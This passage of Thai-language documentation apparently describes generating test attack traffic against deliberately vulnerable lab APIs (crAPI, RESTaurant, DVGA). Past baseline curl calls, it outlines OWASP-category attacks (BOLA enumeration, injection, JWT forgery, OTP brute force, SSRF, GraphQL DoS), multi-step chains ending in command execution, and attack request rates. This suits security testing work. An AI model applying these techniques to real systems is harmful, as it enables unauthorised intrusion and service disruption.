curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"ระยะที่ 2: ทราฟฟิกการโจมตีตามหมวดหมู่ OWASP
หัวข้อที่มีชื่อว่า “ระยะที่ 2: ทราฟฟิกการโจมตีตามหมวดหมู่ OWASP”การทดสอบ BOLA: ระบุ ID แบบลำดับ สลับ identifier ของผู้ใช้ในคำร้องขอ เข้าถึงทรัพยากรโดยไม่มีความเป็นเจ้าของ
การทดสอบ Injection: SQL payload ในพารามิเตอร์ filter/coupon, GraphQL query injection, OS command injection ผ่านฟิลด์พารามิเตอร์
การทดสอบการข้ามการยืนยันตัวตน: ปลอมแปลง JWT token, brute-force OTP, ใช้เวอร์ชัน API ที่เลิกใช้แล้ว, algorithm confusion
การทดสอบ SSRF: URL ภายในใน importPaste, image_url และพารามิเตอร์ mechanic_api
การทดสอบ DoS: GraphQL batch/recursion/alias attacks, repeat_request_if_failed ที่มีจำนวนสูง
ระยะที่ 3: ห่วงโซ่การโจมตีแบบมีสถานะ
หัวข้อที่มีชื่อว่า “ระยะที่ 3: ห่วงโซ่การโจมตีแบบมีสถานะ”การโจมตีบางรูปแบบต้องการลำดับขั้นตอนหลายขั้นที่มีสถานะ:
- ห่วงโซ่การยกระดับ RESTaurant: ลงทะเบียน → Token → PATCH role เป็น Chef → ยืนยันตัวตนใหม่ → Command injection
- กระบวนการแบบสมบูรณ์ของ crAPI: สมัครสมาชิก → ยืนยันอีเมล (MailHog) → เข้าสู่ระบบ → เพิ่มยานพาหนะ → Contact mechanic (SSRF) → การปรับแต่งคำสั่งซื้อ
- DVGA recon-to-exploit: Introspection → ค้นพบ systemDiagnostics → Brute-force ข้อมูลรับรอง admin → การรันคำสั่ง OS
คำแนะนำอัตราการส่ง
หัวข้อที่มีชื่อว่า “คำแนะนำอัตราการส่ง”| รูปแบบ | คำร้องขอ/วินาที | ระยะเวลา | หมายเหตุ |
|---|---|---|---|
| Baseline (ต่อแอป) | 10-50 | 5 นาที | กำหนด fingerprint ทราฟฟิกปกติ |
| BOLA enumeration | 100-500 | 2 นาที | การสแกน ID แบบลำดับ |
| OTP brute-force | 1000+ | จนกว่าจะพบ | สูงสุด 10,000 ครั้ง (4 หลัก) |
| GraphQL DoS | 10-50 | 30 วินาที | แต่ละคำร้องขอมีต้นทุนสูงฝั่งเซิร์ฟเวอร์ |
| Injection fuzzing | 50-200 | 5 นาที | ปรับเปลี่ยน payload ในแต่ละคำร้องขอ |
| SSRF probing | 5-20 | 2 นาที | ช้า; แต่ละครั้งทริกเกอร์ HTTP request ฝั่งเซิร์ฟเวอร์ |